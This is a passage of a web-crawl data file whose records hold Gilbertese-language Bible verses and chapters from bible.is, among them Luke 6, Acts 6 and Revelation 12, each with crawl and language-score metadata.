Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/11","date":"2013-05-23T11:27:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703298047\/warc\/CC-MAIN-20130516112138-00067-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999144077,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999144077301025}","num_words":53,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:5\n5 Ao e anganaki te man arei te konaa n atongi taeka ni kainikatonga ma taeka ni bakanatua; ao e anganaki te mwaaka ni karaoa ae e kani karaoia abwi ma uoua te namwakaina.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/5","date":"2013-05-23T05:47:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702849682\/warc\/CC-MAIN-20130516111409-00003-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999666214,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999666213989258}","num_words":54,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 N te bong ae te taabati, ngke E ri nuukan nnen te aroka ae te uiita Iesu ma ana reirei, ao a anai uaa n uiita ana reirei, a bubui i baiia, ao a kang. 2 A nooraki irouia Bwaritaio tabemwaang, ao a taku nakoia, E aera ngkai kam karaoa ae e eekaanako te tua ibukin te taabati? 3 E kaekaia Iesu ao E taku, Kam tuai ni wareka taekan te baere e karaoia Tawita ngke e baki, ngaia ma ake raona? 4 Bwa e rin i nanon ana auti te Atua ao e anaa te berena are e kaotiotaki ao e kanna ma akea ae e kariaiakaki bwa e na kanna bwa ti ibonga, ma Tawita e anganiia naba ake raona bwa a na kanna? 5 E a manga taku riki nakoia, Natin te aomata bon Uean te taabati. 6 N te taabati teuana, ngke E rin Iesu ni mwaneabaia I-Iutaia ao E reireia aomata iai; ao e mena ikekei temanna ae e mate baina ae ataina. 7 A tarataraa Iesu taani koroboki ma Bwaritaio, bwa tao E na karaoa te mwakuri ni kamaiu n te taabati ke E na aki, bwa a kani karekea kabuaakakaana. 8 Ma E atai nanoia Iesu, ma ngaia are E taku nakon te aomata are e mate baina, Nako mai tei ikai. Ao ngaia e tei rake ao e nako n tei ikekei. 9 Ao E taku nakoia Iesu, I tuangkami, e eekaki nako te tua ibukin te taabati ni karaoan ae e raoiroi ke ae e buaakaka nakon te aomata, ni kamaiuana ke ni kamateana? 10 Ao E taraiia nako ni kabaneia, ao E taku nakoina, Arora nako baim. E karaoa tuangana teuarei, ao e a manga oki marurungini baina. 11 A rangi n un ao a iango irouia bwa tera ae a na karaoia nakon Iesu. 12 Ni boong akekei, ao E nako Iesu nakon te maunga bwa E na tataro iai, ao E kangainaa n tataro nakon te Atua. 13 Ngke e a ingabong, ao E weteiia ana reirei ao E rineiia tengauni ma uoman mai buakoia, ao E atongiia bwa taan tuatua, Aikai araia; 14 Timon, are E anganaki arana teuana iroun Iesu bwa Betero, ao Anterea are tarina; Iakobo ao Ioane, Biribo ma Bwaretoromwaio, 15 Mataio ma Toma, Iakobo are natin Arebwaio ao Timon are e aranaki bwa Terote, 16 Iuta are tarin Iakobo ao Iuta Itekariota, are e riki rimwi bwa te tia kamwanea Iesu. 17 Ao E ruo Iesu ma uaake tengauni ma uoman ao E tei n te tabo ae e aoraoi ni bootaki ma ana reirei aika rangi ni mwaiti ao aomata aika bati ake a roko mai Iutaia ao Ierutarem ao man taabo ake i rarikin taari i Tuuro ao i Titon. A roko bwa a na ongoraa iroun Iesu ao a na kamaiuaki man aorakiia; 18 ao a kamaiuaki ake a taniaki irouia anti ake a buaakaka. 19 Ao a bane aomata ni kan riingnga, ibukin ae e nako mai irouna te mwaaka, ao E kamaiuiia ni kabaneia. 20 E tabeki matana n taraiia ana reirei, ao E taku, Kam a kabwaia ngkami akana kam aki kaubwai, bwa ami bwai uean te Atua. 21 Kam a kabwaia ngkami akana kam baki ngkai, bwa ane kam na nuai. Kam a kabwaia ngkami akana kam tanginiwenei ngkai, bwa ane kam na ngarengare. 22 Kam a kabwaia ngkana a ribaingkami aomata, ao ngkana a katinanikuingkami ma n taetaebuakaingkami, ao ngkana a atong arami bwa aara aika kamwaraa, ibukin onimakinan Natin te Aomata iroumi! 23 Kam na kimwaareirei n te bong arei, ao kam na kibakiba rake ni kukurei, bwa nooria, a bati kaniwangami i karawa aika kam na anganaki mai iroun te Atua; bwa a karaoi naba baikai aia bakatibu nakoia aia buraabeti. 24 Ma a na reke kaimi ngkami akana kam kaubwai, bwa a a tia n reke karauan nanomi. 25 A na reke kaimi ngkami akana kam ngae, bwa ane kam na baki. A na reke kaimi akana kam ngarengare ngkai, bwa ane kam na tanginiwenei ao kam na katuumaua te tang. 26 A na reke kaimi, ngkana a bane aomata ni kamoamoaingkami, bwa a karaoa naba aron aei aia bakatibu nakoia buraabeti ni kewe. 27 I taku nakoimi akana kam ongoraa irou, Kam na tangiriia ami kairiribai, ao karaoa ae e raoiroi nakoia akana ribaingkami. 28 Kakabwaiaia akana a taetae ni kamaraiaingkami, ao tataro i bukiia akana a karaoa ae e buaakaka nakoimi. 29 Ane e orea tabam teuana ao anganna naba tabam ane teuana bwa e na oreia; ao tai rawa n anga am kauaatao ni kabaraaki nakon ane e anaa am kabaraaki ane i aan am kauaatao. 30 Aanga nakon ane e butiiko; ao tai tangiri am bwai bwa a na kaokaki mai iroun ane e kani uoti nako. 31 Karaoa naba nakoia aomata te baere ko kaantaningaia bwa a na karaoia nakoim. 32 Ngkana kam tangiriia akana tangiringkami, ao tera kamoamoaami ae e na reke iai? Bwa aomata aika taani bure a tangiria naba aomata ake a tangiraki irouia. 33 Ao ngkana kam karaoa ae e raoiroi nakoia akana karaoa ae e raoiroi nakoimi, ao tera kamoamoaami ae e na reke iai? Bwa a karaoa naba aron aei taani bure. 34 Ao ngkana kam anganiia akana kam taku bwa a na manga kaoka naba mwaitin are kam anga nako, ao tera kamoamoaami ae e na reke iai? Bwa angaanga naba taani bure nakoia taani bure, bwa a aonga ni karekea naba mwaitin are a anga nako mai irouia. 35 Ma kam na tangiriia ami kairiribai, ao karaoa ae e raoiroi nakoia, ao aanga n aki manga kaantaninga booni mwiina bwa e na okiringkami; ane e na bati te kabwaia ane e na reke iroumi iai, ao ane kam na riki bwa natin Teuare e Moan te Rietata; bwa E aakoi te Atua nakoia akana bangaomata ao akana a iangoiia i bon irouia. 36 Kam na bwaina te nanoanga, n ai aron Tamami ae e bwaina te nanoanga. 37 Kam na tai motiki-taekaia aomata, ao ane e na aki motikaki taekami; kam na aki kabuaakakaia aomata, ao ane kam na aki kabuaakakaaki; bwaina te kabwarabure, ao ane a na kabwaraaki ami bure. 38 Bwaina te angaanga, ao ane kam na anganaki; ane e na kanoaaki rabin kunnikaimi ni kaonrakeaki. E na kaibeaki, e na ioioaki, ao e na taonako kanoana. Bwa te baaire are kam anga ao ane kam na manga anganaki. 39 E tuangiia naba te taeka n rabakau ae kaangai, E konaa te aomata ae e mataki ni kaira te aomata ae e mataki? A na aki uaia ni bwaka n te kinono iai? 40 E aki kakannato riki are e reireiaki i aon ana tia reirei, ma ngkana a bane n reireiaki raoi aomata ao ane a na katootoonga aron aia tia reirei. 41 E aera bwa ko noora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki noora te oka ane i nanoni matam? 42 Ao ko kangaa n rabakau ni kaangai nakon tarim, Tariu, N na kaaki te maange ane e uarereke mai nanoni matam, ngkai ko aki konaa te noora te oka ane i nanoni matam? Te tia mwaamwanaa-te-aba, ko na kaaki moa te oka ane i nanoni matam, ao ko a tibwa konaa n noora raoi kanakoan te maange ae e uarereke mai nanoni matan tarim. 43 Bwa akea te kai ae e raoiroi ae e na kariki uaana aika bubuaka, ao akea naba te kai ae e buaakaka ae e na kariki uaana aika raraoi; 44 bwa a kinaaki aroni kaai nako n uaaia. Bwa a aki anaaki biiku mani kaai aika akanta ao kureebe mani kaai aika kateketeke. 45 E kaoti baika a raraoi te aomata ae e raoiroi mani bwain nanona aika raraoi; ao e kaoti baika a bubuaka te aomata ae e buaakaka mani bwain nanona aika bubuaka: ao e taetae te wi man onraken te nano. 46 E aera ngkai kam atoatonga ae e kaangai nakoiu: Te Uea, te Uea; ao kam aki ira nanon te bae I tuangkami? 47 Te aomata ane e nakoiu ao e ongo au taeka ma n tou mwiia, ao N na tuangkami arona: 48 ai aron te aomata are e katea ana auti. E kena aontano ni kananoa, ao e kawenea iai aan ana auti i aon te bwa; ngke e roko te raanga, ao e neakina te auti arei te raanga, ma e aki konaa ni kamwaeia, ibukina bwa e a tia ni katea raoi ana auti te aomata arei. 49 Ma ane e ongo au taeka ma n aki tou mwiia, ao ai aron te aomata are e katea te auti i aontano ma akea aana ae e kaboonganaa; e neakinaki te auti n te raanga ao e a bwaka naba, ao e korakora uruakina.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/6","date":"2013-05-19T01:53:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383081\/warc\/CC-MAIN-20130516092623-00097-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1421,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.236,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:16\n16 Ao iai te kaokoro i marenan te bwai n tituaraoi ma ana bure te aomata ae temanna: bwa i mwiin te bure ae teuana ao e roko te moti ni kabuaakaka; ma i mwiini buure aika a bati ao e roko te bwai n tituaraoi are motikan taekam bwa ko aki bure.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/16","date":"2013-05-20T02:56:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698222543\/warc\/CC-MAIN-20130516095702-00045-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":72,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:2\n2 Bwa e kateaki te umwanrianna, ae iai i nanona te moa n ru ae e aranaki bwa te tabo ae e tabu, are e mena i nanona nnen te taura n tei ao te taibora ma kariki aika a katabuaki ibukin te Atua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/2","date":"2013-06-20T09:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711240143\/warc\/CC-MAIN-20130516133400-00055-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999809265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999809265136719}","num_words":63,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao e kaoti te bwai ae e rangi ni kamiimii taraana i karawa: te aine ae e kunnikaiaki n taai, ao e mena namwakaina i aani waena, ao te baunuea ae tebwi ma uoua itoina i aon atuna. 2 E bikoukou neierei; ao e tangi n takaarua ngke e ariri, bwa e nangi bung. 3 Ao e a manga kaoti te bwai riki teuana i karawa ae e rangi ni kamiimii naba taraana: te man ae te raakon ae e korakora ae e uraura, ao itiua atuuna ao tengauni korona, ao itiua te baunuea i aon atuna. 4 Ao bukina e uakina iai kateni-mwakoroni mwaitin itoini karawa, ao e tewe nako aon te aba; ao e tei te raakon i matan te aine are e nangi bung, bwa e na kana natina n te tai are e bungiaki iai. 5 Ao neierei e bungia natina ae te mwaane, ae e na tauu taekaia bootanaomata ni kabaneia, ni kairiia ma te matoa; ao e na anaaki natina n uotaki rake nakon te Atua ao nakon ana kaintokanuea. 6 Ao e biri nako te aine arei nakon te rereua, nakon te tabo are E katauraoia te Atua ibukina, ike e na tararuaki iai i nanontengaaao uabubua ao onongaun te bong. 7 Ao e riki te buaka i karawa: Mikaera ma ana anera a buakana te raakon; ao e buaka te raakon ma ana anera, 8 ma a aki tokanikai; ao e aki manga nooraki nneia i karawa. 9 Ao e teweaki nako mai eta te raakon are e korakora, are te naeta are ngkoangkoa, are arana te Riaboro ke Tatan, are e mwaamwanaiia kaain aonnaba ni kabaneia: e teweaki nako aon te aba, ao a teweaki nako naba ana anera ma ngaia. 10 Ao I ongo te bwanaa ae e korakora i karawa, bwa e kaangai, E a roko ngkai ana kamaiu Atuara, ma mwaakana ma ueana, ma mwaakan ana Kristo: bwa e a tia n teweaki nako te tia bukiniia tarira, ni kabuaakakaiia i matan Atuara ni ngaina ao ni bong. 11 Ao a kataea ana kai n raraan te Tiibuteteei ao n te koaua are a tataekinna; ao a kukurei n anga maiuia ma ni mate naba. 12 Ma ngaia ae kam na kimwaareirei, ngkami aika taiani karawa, ao ngkami aika kam maeka iai. E na reke kain te aba ma marawa! Bwa e a tia n ruo nakoimi te riaaboro ma unna ae korakora, ngkae e ataia bwa e a uarereke ana tai. 13 Ao te raakon, ngke e ataia bwa e a tia n teweaki nako aon te aba, ao e nako ni kakioa te aine are e bungia natina are te mwaane. 14 Ao e anganaki neierei bain te ikare aika uaai aika a abwaabwaki, bwa e na kibakiba nakon te rereua nakon ana tabo, ike e na tararuaki iai i nanon teniua ma te iterana te ririki, ao ike e raroa nako iai mai iroun te naeta. 15 Ao te naeta e katiinakoa te ran ae kaanga ai aron te karaanga mai wiina bwa e na raanga n ri mwiin te aine, bwa e aonga n ae e uota nako neierei. 16 Ao aontano e buoka neierei: e kaurea wiia aontano ao e oonga te karaanga are e katiinakoa te raakon mai wina. 17 Ao e un te raakon nakon te aine arei, ao e nako bwa e na buakaniia natin neierei ake tabemwaang, ake a kakaawakin ana tua te Atua, ma n teimatoa n taua te koaua are E kaotiotia Iesu. 18 Ao e tei te raakon i aon te bike i rarikin tari.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/12","date":"2013-05-22T21:25:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702448584\/warc\/CC-MAIN-20130516110728-00032-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":582,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.495,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:14\n14 ao E kamaunai taekan ara taarau ake a tei i aan arara ma tuaia ake ti kabaeaki iai, ao E kariki n akea nanoia ngke E bobiti ni kanim n te kaibangaki;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/14","date":"2013-06-18T23:06:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707436332\/warc\/CC-MAIN-20130516123036-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9998437166,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998437166213989}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:18\n18 Kam na tai kariaia bwa e na baaireaki taekami bwa kam aki tau iroun temanna are e taku bwa e kakannato riki, ibukina bwa e a tia n noori baika kaanga taiani mii, ao are e imanonoa bwainakin te baka-nnanoorinano ma taromauriaia anera. Akea manenani kainikatongana ibukina bwa e bwaina te nano n aon te aba,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/18","date":"2013-05-25T06:33:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705575935\/warc\/CC-MAIN-20130516115935-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000064373016357}","num_words":76,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:15\n15 Ma ngkana bon nanon te aomata ae e aki onimaki bwa e na kiitana buuna are e onimaki, ao ke e karaoia; ngkana e reke aei, ao akea te bae e na kabaeaki iai n te maiu n taanga te mwaane ke te aine are te buu are e onimaki. Bwa E a tia te Atua ni weteira nakon te maiu n raoi.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/15","date":"2013-05-24T23:22:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705284037\/warc\/CC-MAIN-20130516115444-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":83,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao ni boong akekei, ngke e tabe n ririkirake mwaitiia aomata ake a onimakina Iesu, ao a ngurengure I-Iutaia ake a bwaina te taetae n Erene irouia raoia n I-Iutaia ake a bwaina te taetae n Ebera, ibukina ngke akea tibwaia aia aine, ake a a tia ni mate buia, ae e reke n te tibwatibwa n te bong ae koraki. 2 Ao uaake tengauni ma uoman a weteiia aomata aika a bati ake a onimakina Iesu, ao a kaangai, E aki riai bwa ti na kaaki taekan ara mwakuri n tataekina ana taeka te Atua, ao ti na katabeira n te mwakuri n tibwatibwa. 3 Ma ngaia aei, taari, kam na rineiia itiman i buakomi aika a kakoauaa bwa a on n te Taamnei ma te rabakau, ao ti na katabeia n te mwakuri aei. 4 Ao ngaira ti na kabanei riki ara tai n te tataro, ao n tabeakinan ana taeka te Atua. 5 A bane ni kukurei n te taeka arei te koraki arei; ao a rinea ngkanne Tetebano, ae te aomata ae te tia onimaki ni koaua ao e on n te Taamnei are e Raoiroi; a rinea naba Biribo, ma Berokoro, ma Nikanoora, ma Timon, ma Baremena, ma Nikorao ae te I-Antioka ae tiaki te I-Iutaia, ma e a tia n rairaki nakon te Aro n Iutaia. 6 A kaakiia i mataia taan tuatua; ao a tataro taan tuatua ao a katokai baiia i aoia. 7 E buta nako ana taeka te Atua, ao a bati riki ake a ongo ao a onimaki: a kabatiaaki mwaitiia aomata ake a onimaki i Ierutarem, ao a mwaiti aia koraki ibonga ake a butimwaaea taekan te euangkerio. 8 E rangi ni kakabwaiaaki Tetebano iroun te Atua, ao e on n te mwaaka: e karaoi mwakuri ni kamiimii aika a abwabwaaki ma kanikina i buakoia aomata. 9 Ao a kauntaeka ma Tetebano aomata tabemwaang aika kaain te mwaneaba are e aranaki bwa mwaneabaia Aomata aika a Inaomata, aika a I-Iutaia mai Kurene, ao mai Arekanria, ni bootaki ma I-Iutaia mai Kirikia ao mai Atia. 10 Ma a aki konaa ni kaaitaraa Tetebano n aia taeka ibukina bwa E a tia te Taamnei are e Raoiroi n anganna te rabakau n taetae. 11 Ma ngaia are a kabooia aomata tabemwaang bwa a na atonga ae e kaangai, Ti ongo ana taeka n eekaanako Mote ma te Atua. 12 A kaunia aomata, ma unimwaane, ma taani koroboki, ao a tauua Tetebano ma te matoa, ni kairia nakon te Tanirim; 13 ao a kateiia taani kaotioti aika a kewe, ao a kaangai uaakekei, E aki toki te aomata aei n taekin taeka aika a aki raraoi ibukin te tabo ae e tabu aei, ma te Tua; 14 bwa ti ongo irouna ngke e taku bwa e na urua te tabo aei Iesu are te I-Natareta, ao E na oniki katei ake e anganiira Mote. 15 Ao a bane ake a tekateka n te Tanirim ni katokaa mataia n taraa Tetebano, ao a noora matana bwa kaanga ai aron taraani matan te anera.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/6","date":"2013-05-24T16:39:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704752145\/warc\/CC-MAIN-20130516114552-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":496,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:3\n3 Bwa E atongaki Teuaei bwa e riai ni mwaiti riki neboakina nakon neboakini Mote, n ai aron te tia kateitei ae e riai ni mwaiti riki karineana nakoni karinean te auti are e kateia.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/3","date":"2013-05-24T09:18:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704433753\/warc\/CC-MAIN-20130516114033-00090-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999408722,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999408721923828}","num_words":54,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:37\n37 Ngke E tia n atongi baikekei Iesu, ao E kaoaki iroun te Bwaritaio temanna bwa E na amwarake ma Ngaia; ma ngaia are E rin n ana auti ao E tekateka n rarikiriki bwa E na amwarake.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/37","date":"2013-05-25T06:55:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705618968\/warc\/CC-MAIN-20130516120018-00010-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999998927116394}","num_words":57,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:15\n15 E bo te kaibuke iai ao e a aki konaa ni buti ni kaaitaraa te ang. Ngke aakea te bae ti konaa ni karaoia, ao e a uotaki nako te kaibuke n te ang.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/15","date":"2013-05-21T03:42:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699675907\/warc\/CC-MAIN-20130516102115-00059-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999763966,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999976396560669}","num_words":54,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:8\n8 I tuangkami bwa E roko Kristo bwa te tia buokiia I-Iutaia, ni kaotia nakoia bwa E a tia ni kakaonimaki te Atua ni kakoroa bukin ana taeka n aakoi ake E taekin nakoia aia bakatibu ake a kakannato;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/8","date":"2013-06-20T10:24:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711406217\/warc\/CC-MAIN-20130516133646-00087-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000022649765015}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.276,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 5:1\n1 Bwa te ibonga ae e kakannato e a rineaki mai buakoia raona, bwa e na mwakuri ibukin te Atua i bukiia aomata, bwa e na kaakaraoi taromauri ma n angaanga karea ibukini buure.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5\/1","date":"2013-05-24T10:35:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704590423\/warc\/CC-MAIN-20130516114310-00010-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999982476234436}","num_words":53,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I bukini ngkanne te angabwai i bukiia ake a itiaki: kam na karaoa te baere I a tia n tuangiia taian ekaretia i Karatia bwa a na karaoia. 2 Ni moani bongin te wiiki ae koraki, ao e riai te aomata i bon irouna ni katuutuka teutana man are e a tia ni karekea, ao e na kaikoa, bwa e aonga n aki kainnanoaki te manga riko angabwai ngkana I roko. 3 Ao ngkana I roko, ao N na kanakoia akana kam kariaiia n reeta, bwa a na nikira ami bwai n tituaraoi i Ierutarem. 4 ao ngkana e riai bwa N na nako naba ngai, ao a na nako ma ngai. 5 N na roko iroumi ngkana I tia n ri nuukani Mwaketonia; bwa ae N na ri nuukani Mwaketonia; 6 ao N na tiku iroumi, tao ni kabanea bongin te aumeaang, bwa kam aonga ni bakaborauai nako ike N na nako iai. 7 Bwa I tangira riki ae N na kawaringkami rimwi ni kamaanai iroumi, ngkana nanon te Uea, nakon ae N na kawaringkami ngkai ao e kimototo au tai i rarikimi. 8 Ma N na mena i Ebeto ni karokoa te Bentekota, 9 bwa e uki nakoiu te mataroa ae e warebwe ae e kamateraoi ibukin te mwakuri, ao a bati kairiribai. 10 Ngkana arona bwa e roko iroumi Timoteo, ao kam na tarataraia bwa a na akea te bae e na maakiningkami iai; bwa te tia mwakuri ngaia ibukin te Uea, n ai arou naba. 11 Ma ngaia ae e na tai kaakeaa boongana temanna iroumi; ma kam na bakaborauiia raoi bwa e aonga n roko irou, bwa ae I taningaa rokona ma rokoia taari temwaangina. 12 Ao ibukin tarira are Aboro: I kairoroa bwa e na nakoimi ma taari aikai, ma akea nanona ni kan nakoimi ngkai. E a bon tai nako wati ngkana e reke ana tai. 13 Kam na tatauraoi, kam na teimatoa n te onimaki, kam na nano ni mwaane, ao kam na korakora. 14 Kam na karaoi bwaai ni kabane ma te tangira. 15 Kam ataa Tetebana ma ana utu, bwa ngaiia ake a moa n riki bwa taan onimaki, ao a anga nanoia bwa taani beku i bukiia ake a itiaki: I butingkami, tariu, bwa 16 kam na karineiia n iri nanoia te koraki akana ai aroia naakanne, ma aomata nako akana buobuoka te 